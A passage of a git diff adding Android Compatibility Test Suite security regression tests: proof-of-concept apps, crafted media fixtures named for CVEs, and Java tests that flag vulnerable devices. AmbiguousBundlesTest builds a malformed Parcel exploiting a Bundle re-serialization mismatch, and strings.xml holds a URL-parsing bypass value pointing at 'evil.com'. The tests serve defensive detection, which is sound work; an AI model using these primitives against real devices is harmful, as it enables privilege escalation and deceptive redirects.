+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
similarity index 77%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
index 1a335c7..8de4638 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
@@ -1,4 +1,4 @@
-/*
+<!--
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,11 +12,9 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
-package android.security.cts.cve_2021_0642;
-
-import android.app.Activity;
-
-public class PocActivity extends Activity {
-}
+<resources>
+ <string name="permlab_custom">Custom</string>
+ <string name="permdesc_custom">allows bypassing one-time permissions</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java b/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java
new file mode 100644
index 0000000..4bbeb53
--- /dev/null
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthatrequestcustomcamerapermission;
+
+import static android.Manifest.permission.CAMERA;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Handler;
+import android.util.Log;
+
+public class RequestCameraPermission extends Activity {
+
+ private static final String LOG_TAG = RequestCameraPermission.class.getSimpleName();
+
+ public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ boolean cameraGranted =
+ checkSelfPermission(CAMERA) == PERMISSION_GRANTED;
+ boolean customGranted =
+ checkSelfPermission(CUSTOM_PERMISSION) == PERMISSION_GRANTED;
+
+ mHandler = new Handler(getMainLooper());
+
+ if (!cameraGranted && !customGranted) {
+ requestPermissions(new String[] {CAMERA}, 0);
+ } else {
+ Log.e(LOG_TAG, "Test app was opened with cameraGranted=" + cameraGranted
+ + " and customGranted=" + customGranted);
+ }
+ }
+
+ @Override
+ public void onRequestPermissionsResult(int requestCode, String[] permissions,
+ int[] grantResults) {
+ super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+
+ if (requestCode == 0) {
+ if (grantResults[0] != PERMISSION_GRANTED) {
+ Log.e(LOG_TAG, "permission wasn't granted, this test should fail,"
+ + " leaving test app open.");
+ } else {
+ // Delayed request because the immediate request might show the dialog again
+ mHandler.postDelayed(() ->
+ requestPermissions(new String[] {CUSTOM_PERMISSION}, 1), 500);
+ }
+ } else if (requestCode == 1) {
+ if (grantResults[0] != PERMISSION_GRANTED) {
+ Log.e(LOG_TAG, "permission wasn't granted, this test should fail,"
+ + " leaving test app open.");
+ } else {
+ // Here camera was granted and custom was autogranted, exit process and let test
+ // verify both are revoked.
+
+ // Delayed exit because b/254675301
+ mHandler.postDelayed(() -> System.exit(0), 1000);
+ }
+ }
+
+ }
+}
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
index b9694c3..24e55c5 100644
--- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -22,4 +22,5 @@
int getAllocationSize(in BitmapWrapper bitmap);
boolean didReceiveBitmap(in BitmapWrapper bitmap);
boolean ping();
+ void exit();
}
diff --git a/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl b/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
index 9c1a339..4ed5e45 100644
--- a/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IIsolatedService.aidl
@@ -20,4 +20,5 @@
String[] getCachedSystemServices();
IBinder getSystemService(String serviceName);
boolean getProcessIsIsolated();
+ void registerBroadcastReceiver();
}
diff --git a/tests/tests/security/res/raw/cve_2022_22083.ape b/tests/tests/security/res/raw/cve_2022_22083.ape
new file mode 100644
index 0000000..05d6d73
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22083.ape
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22084.qcp b/tests/tests/security/res/raw/cve_2022_22084.qcp
new file mode 100644
index 0000000..c41d21e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22084.qcp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22085.dts b/tests/tests/security/res/raw/cve_2022_22085.dts
new file mode 100644
index 0000000..3a88631
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22085.dts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22086.3gp b/tests/tests/security/res/raw/cve_2022_22086.3gp
new file mode 100644
index 0000000..715d10c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22086.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22087.mkv b/tests/tests/security/res/raw/cve_2022_22087.mkv
new file mode 100644
index 0000000..0b25fe4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22087.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25657.mkv b/tests/tests/security/res/raw/cve_2022_25657.mkv
new file mode 100644
index 0000000..3d5f70e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25657.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25659.mkv b/tests/tests/security/res/raw/cve_2022_25659.mkv
new file mode 100644
index 0000000..9eda647
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25659.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25669.3gp b/tests/tests/security/res/raw/cve_2022_25669.3gp
new file mode 100644
index 0000000..f5ba05a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25669.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_33234.mkv b/tests/tests/security/res/raw/cve_2022_33234.mkv
new file mode 100644
index 0000000..752e3cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_33234.mkv
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
new file mode 100644
index 0000000..ee1f73e
--- /dev/null
+++ b/tests/tests/security/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <!-- CVE-2021-0642 -->
+ <string name="cve_2021_0642_action">CVE_2021_0642_ACTION</string>
+ <string name="cve_2021_0642_pkgPhone">com.android.phone</string>
+ <string name="cve_2021_0642_failMsg">Device is vulnerable to b/185126149 !!</string>
+ <string name="cve_2021_0642_msgResolveErrorVoicemail">The intent with action
+ ACTION_CONFIGURE_VOICEMAIL should resolve to either ResolverActivity or
+ VoicemailSettingsActivity</string>
+ <string name="cve_2021_0642_msgResolveErrorPocAction">The intent with action
+ CVE_2021_0642_ACTION should not be resolved to test package</string>
+
+ <!-- CVE-2023-20338 -->
+ <string name="cve_2022_20338_authority">google.com</string>
+ <string name="cve_2022_20338_failMsg">Device is vulnerable to b/171966843 !!</string>
+ <string name="cve_2022_20338_invalidURL">https://google.com@evil.com</string>
+ <string name="cve_2022_20338_path">@evil.com</string>
+ <string name="cve_2022_20338_scheme">https</string>
+</resources>
diff --git a/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
new file mode 100644
index 0000000..cb567e3
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin>
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/res/xml/syncadapter.xml b/tests/tests/security/res/xml/syncadapter.xml
new file mode 100644
index 0000000..478fad5
--- /dev/null
+++ b/tests/tests/security/res/xml/syncadapter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="CVE_2022_20358_acc"
+ android:isAlwaysSyncable="true" />
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index f16b8fb..a27a0b94 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,24 +15,43 @@
*/
package android.security.cts;
+import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS;
+
import static org.junit.Assert.*;
+import android.app.Activity;
import android.app.ActivityManager;
-import android.app.ApplicationExitInfo;
+import android.app.ActivityOptions;
+import android.app.Application;
import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
import android.os.IBinder;
+import android.os.RemoteException;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
+import android.view.SurfaceControl;
+import android.window.IRemoteTransition;
+import android.window.IRemoteTransitionFinishedCallback;
+import android.window.RemoteTransition;
+import android.window.TransitionInfo;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import junit.framework.TestCase;
-import java.lang.reflect.InvocationTargetException;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.util.concurrent.Callable;
+
@RunWith(AndroidJUnit4.class)
public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@@ -111,6 +130,51 @@
assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
}
+ @AsbSecurityTest(cveBugId = 237290578)
+ @Test
+ public void testActivityManager_stripTransitionFromActivityOptions() throws Exception {
+ Context targetContext = getInstrumentation().getTargetContext();
+
+ // Need to start a base activity since this requires shared element transition.
+ final Intent baseIntent = new Intent(targetContext, BaseActivity.class);
+ baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(baseIntent));
+
+ RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() {
+ @Override
+ public void startAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ t.apply();
+ finishCallback.onTransitionFinished(null /* wct */, null /* sct */);
+ }
+
+ @Override
+ public void mergeAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t, IBinder mergeTarget,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ }
+ });
+ ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote);
+ assertTrue(waitUntil(() -> baseActivity.mResumed));
+ ActivityOptions sceneOpts = baseActivity.mSceneOpts;
+ assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType());
+
+ // Prepare the intent
+ final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final Bundle optionsBundle = opts.toBundle();
+ optionsBundle.putAll(sceneOpts.toBundle());
+ final ActivityOptionsActivity activity =
+ (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(intent, optionsBundle));
+ assertTrue(waitUntil(() -> activity.mResumed));
+
+ assertTrue(activity.mPreCreate || activity.mPreStart);
+ assertNull(activity.mReceivedTransition);
+ }
+
/**
* Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
*/
@@ -122,4 +186,108 @@
}
return System.nanoTime() - start;
}
+
+ private boolean waitUntil(Callable<Boolean> test) throws Exception {
+ long timeoutMs = 2000;
+ final long timeout = System.currentTimeMillis() + timeoutMs;
+ while (!test.call()) {
+ final long waitMs = timeout - System.currentTimeMillis();
+ if (waitMs <= 0) break;
+ try {
+ wait(timeoutMs);
+ } catch (InterruptedException e) {
+ // retry
+ }
+ }
+ return test.call();
+ }
+
+ public static class BaseActivity extends Activity {
+ public boolean mResumed = false;
+ public ActivityOptions mSceneOpts = null;
+
+ @Override
+ public void onCreate(Bundle i) {
+ super.onCreate(i);
+ getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS);
+ mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this);
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+ mResumed = true;
+ }
+ }
+
+ public static class ActivityOptionsActivity extends Activity {
+ public RemoteTransition mReceivedTransition = null;
+ public boolean mPreCreate = false;
+ public boolean mPreStart = false;
+ public boolean mResumed = false;
+
+ public ActivityOptionsActivity() {
+ registerActivityLifecycleCallbacks(new Callbacks());
+ }
+
+ private class Callbacks implements Application.ActivityLifecycleCallbacks {
+ private void accessOptions(Activity activity) {
+ try {
+ Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions");
+ mPendingOptions.setAccessible(true);
+ ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity);
+ if (options != null) {
+ mReceivedTransition = options.getRemoteTransition();
+ }
+ } catch (ReflectiveOperationException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public void onActivityPreCreated(Activity activity, Bundle i) {
+ mPreCreate = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityPreStarted(Activity activity) {
+ mPreStart = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ }
+
+ @Override
+ public void onActivityStarted(Activity activity) {
+ }
+
+ @Override
+ public void onActivityResumed(Activity activity) {
+ mResumed = true;
+ }
+
+ @Override
+ public void onActivityPaused(Activity activity) {
+ }
+
+ @Override
+ public void onActivityStopped(Activity activity) {
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+ }
+
+ @Override
+ public void onActivityDestroyed(Activity activity) {
+ }
+ }
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 397c012..7bb74ff 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -18,29 +18,25 @@
import static org.junit.Assert.fail;
-import android.app.Activity;
+import android.annotation.SuppressLint;
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
import android.view.AbsSavedState;
import android.view.View;
-import android.view.View.BaseSavedState;
-import android.annotation.SuppressLint;
+
import androidx.test.runner.AndroidJUnit4;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import java.io.InputStream;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.lang.reflect.Field;
import java.util.Random;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import android.security.cts.R;
-import android.platform.test.annotations.AsbSecurityTest;
-
@RunWith(AndroidJUnit4.class)
public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
@@ -601,6 +597,95 @@
testAmbiguator(ambiguator);
}
+ /*
+ * b/240138294
+ */
+ @AsbSecurityTest(cveBugId = 240138294)
+ @Test
+ public void test_lazyValueNegativeLength() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String negativePrefix, positivePrefix;
+ // When read as value, jump back to the start of the header (8 bytes)
+ negativePrefix = getStringEncodingInt(-8);
+ // Size of the malicious bundle before the 'cmd' key
+ positivePrefix = getStringEncodingInt(48);
+
+ String key1, key2, key3;
+ int key1Hash, key2Hash, key3Hash;
+
+ do {
+ key1 = randomString(random);
+ // 16 characters total, will be read as type parcelable array when
+ // read as value
+ key2 = negativePrefix + randomString(random, 14);
+ key3 = positivePrefix + randomString(random, 14);
+ key1Hash = key1.hashCode();
+ key2Hash = key3.hashCode(); // 2 and 3 are swapped
+ key3Hash = key2.hashCode();
+ } while (!(key1Hash < key2Hash && key2Hash < key3Hash && key3Hash < minHash));
+
+ // Pad bundles - ensures keys are in right hash order
+ padBundle(postReSerialize, preReSerialize.size() + 2, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 2, minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC_NATIVE);
+ int startPosition = parcel.dataPosition();
+
+ parcel.writeInt(preReSerialize.size() + 3); // Num key-value pairs
+
+ parcel.writeString(key1); // Key 1
+ parcel.writeString(key2); // Value 1/Key 2
+ parcel.writeInt(VAL_NULL);
+ parcel.writeString(key3);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize); // Value 3
+
+ // Data from preReSerialize bundle
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Fix up bundle size
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+
+ private String getStringEncodingInt(int i) {
+ Parcel parcel = Parcel.obtain();
+ parcel.writeInt(2);
+ parcel.writeInt(i);
+ parcel.writeInt(0);
+ parcel.setDataPosition(0);
+ String s = parcel.readString();
+ parcel.recycle();
+ return s;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
private void testAmbiguator(Ambiguator ambiguator) {
Bundle bundle;
Bundle verifyMe = new Bundle();
@@ -653,6 +738,7 @@
protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
protected static final int BUNDLE_MAGIC = 0x4C444E42;
+ protected static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
protected static final int INNER_BUNDLE_PADDING = 1;
protected Field parcelledDataField;
@@ -711,8 +797,12 @@
}
protected static String randomString(Random random) {
+ return randomString(random, 6);
+ }
+
+ protected static String randomString(Random random, int len) {
StringBuilder b = new StringBuilder();
- for (int i = 0; i < 6; i++) {
+ for (int i = 0; i < len; i++) {
b.append((char)(' ' + random.nextInt('~' - ' ' + 1)));
}
return b.toString();
diff --git a/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt b/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
index b449451..201df17 100644
--- a/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
+++ b/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
@@ -263,7 +263,9 @@
private fun startActivityForFuture(
intent: Intent
): CompletableFuture<Instrumentation.ActivityResult> =
- activityRule.launchActivity(null).startActivityForFuture(intent)
+ CompletableFuture<Instrumentation.ActivityResult>().also {
+ activityRule.launchActivity(null).startActivityForFuture(intent, it)
+ }
protected fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
assertEquals(
@@ -301,4 +303,4 @@
click(By.res(ALLOW_BUTTON), timeoutMillis)
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
index c532e05..ec39ab0 100644
--- a/tests/tests/security/src/android/security/cts/BitmapService.java
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -40,6 +40,11 @@
public boolean ping() {
return true;
}
+
+ @Override
+ public void exit() {
+ System.exit(0);
+ }
};
@Nullable
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 5ce81fd..0527366 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -25,11 +25,12 @@
import android.os.BadParcelableException;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.google.common.util.concurrent.AbstractFuture;
import org.junit.After;
@@ -48,6 +49,7 @@
private Instrumentation mInstrumentation;
private PeerConnection mRemoteConnection;
private IBitmapService mRemote;
+ private Intent mIntent;
public static class PeerConnection extends AbstractFuture<IBitmapService>
implements ServiceConnection {
@@ -80,6 +82,9 @@
if (mRemoteConnection != null) {
final Context context = mInstrumentation.getContext();
context.unbindService(mRemoteConnection);
+ try {
+ mRemote.exit();
+ } catch (Exception ex) { }
mRemote = null;
mRemoteConnection = null;
}
@@ -88,12 +93,11 @@
IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
if (mRemote == null) {
final Context context = mInstrumentation.getContext();
- Intent intent = new Intent();
- intent.setComponent(new ComponentName(
+ mIntent = new Intent();
+ mIntent.setComponent(new ComponentName(
"android.security.cts", "android.security.cts.BitmapService"));
mRemoteConnection = new PeerConnection();
- context.bindService(intent, mRemoteConnection,
- Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE);
mRemote = mRemoteConnection.get();
}
return mRemote;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
index b5896f1..5c0f342 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -25,12 +25,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.os.Parcel;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2019_9376 {
+public class CVE_2019_9376 extends StsExtraBusinessLogicTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 129287265)
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0500.java b/tests/tests/security/src/android/security/cts/CVE_2020_0500.java
new file mode 100644
index 0000000..47a1e0f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0500.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2020_0500 extends StsExtraBusinessLogicTestCase {
+
+ // b/154913391
+ // Vulnerable Library : services.jar
+ // Vulnerable Module : Not applicable
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 154913391)
+ @Test
+ public void testPocCVE_2020_0500() {
+ Instrumentation instrumentation = null;
+ try {
+ instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getContext();
+ ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+ ComponentName componentName =
+ ComponentName.unflattenFromString("com.android.inputmethod.latin/.LatinIME");
+ PendingIntent pi = activityManager.getRunningServiceControlPanel(componentName);
+
+ Intent intent = new Intent();
+ intent.setPackage(context.getPackageName());
+ try {
+ pi.send(context, 0, intent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // If PendingIntent is mutable, it indicates vulnerable behaviour.
+ throw new AssertionError("Vulnerable to b/154913391 !! "
+ + "PendingIntent from InputMethodManagerService is mutable");
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Required to remove UI activity launching due to pi.send in case of without fix.
+ SystemUtil.runShellCommand(instrumentation, "input keyevent KEYCODE_HOME");
+ } catch (Exception e) {
+ /// ignore
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
new file mode 100644
index 0000000..5314ae8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0642;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicTestCase {
+
+ // b/185126149
+ // Vulnerable app : TeleService.apk
